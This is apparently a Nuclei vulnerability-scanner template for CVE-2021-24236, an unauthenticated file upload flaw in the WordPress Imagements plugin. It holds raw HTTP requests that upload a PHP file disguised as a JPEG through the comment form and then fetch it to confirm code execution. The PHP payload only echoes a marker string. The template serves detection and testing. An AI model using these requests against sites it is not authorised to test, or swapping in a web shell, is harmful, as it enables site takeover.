95 lines
3.4 KiB
YAML
95 lines
3.4 KiB
YAML
id: "CVE-2021-24236"
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info:
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name: WordPress Imagements <=1.2.5 - Arbitrary File Upload
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author: pussycat0x
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severity: critical
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description: |
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WordPress Imagements plugin through 1.2.5 is susceptible to arbitrary file upload which can lead to remote code execution. The plugin allows images to be uploaded in comments but only checks for the Content-Type in the request to forbid dangerous files. An attacker can upload arbitrary files by using a valid image Content-Type along with a PHP filename and code.
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impact: |
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This vulnerability can lead to remote code execution and compromise the affected WordPress site.
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remediation: |
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Update WordPress Imagements plugin to version 1.2.6 or later to fix the arbitrary file upload vulnerability.
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reference:
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- https://wpscan.com/vulnerability/8f24e74f-60e3-4100-9ab2-ec31b9c9cdea
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- https://wordpress.org/plugins/imagements/
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24236
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- https://nvd.nist.gov/vuln/detail/CVE-2021-24236
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: "CVE-2021-24236"
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cwe-id: CWE-434
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epss-score: 0.15028
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epss-percentile: 0.95292
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cpe: cpe:2.3:a:imagements_project:imagements:*:*:*:*:*:wordpress:*:*
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metadata:
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max-request: 2
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vendor: imagements_project
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product: imagements
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framework: wordpress
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tags: cve2021,cve,wp,unauth,imagements,wpscan,fileupload,wordpress,wp-plugin,intrusive,imagements_project
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variables:
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php: "{{to_lower('{{randstr}}')}}.php"
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post: "1"
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http:
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- raw:
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- |
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POST /wp-comments-post.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIYl2Oz8ptq5OMtbU
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------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
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Content-Disposition: form-data; name="comment"
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{{randstr}}
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------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
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Content-Disposition: form-data; name="author"
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{{randstr}}
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------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
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Content-Disposition: form-data; name="email"
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{{randstr}}@email.com
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------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
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Content-Disposition: form-data; name="url"
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------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
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Content-Disposition: form-data; name="checkbox"
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yes
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------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
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Content-Disposition: form-data; name="naam"
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{{randstr}}
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------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
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Content-Disposition: form-data; name="image"; filename="{{php}}"
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Content-Type: image/jpeg
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<?php echo 'CVE-2021-24236'; ?>
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------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
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Content-Disposition: form-data; name="submit"
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Post Comment
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------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
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Content-Disposition: form-data; name="comment_post_ID"
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{{post}}
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------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
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Content-Disposition: form-data; name="comment_parent"
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0
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------WebKitFormBoundaryIYl2Oz8ptq5OMtbU--
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- |
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GET /wp-content/plugins/imagements/images/{{php}} HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: word
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part: body_2
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words:
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- "CVE-2021-24236"
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# digest: 490a00463044022044c39b76c1670bd3821e888a59c2fcc7c2bebcfb2b62512c46e5d5106b91756302202d835016944e0d0c1b7eb6a83ff6a8fd8d13145e32dd2ad9b570e45291d08ea8:922c64590222798bb761d5b6d8e72950 |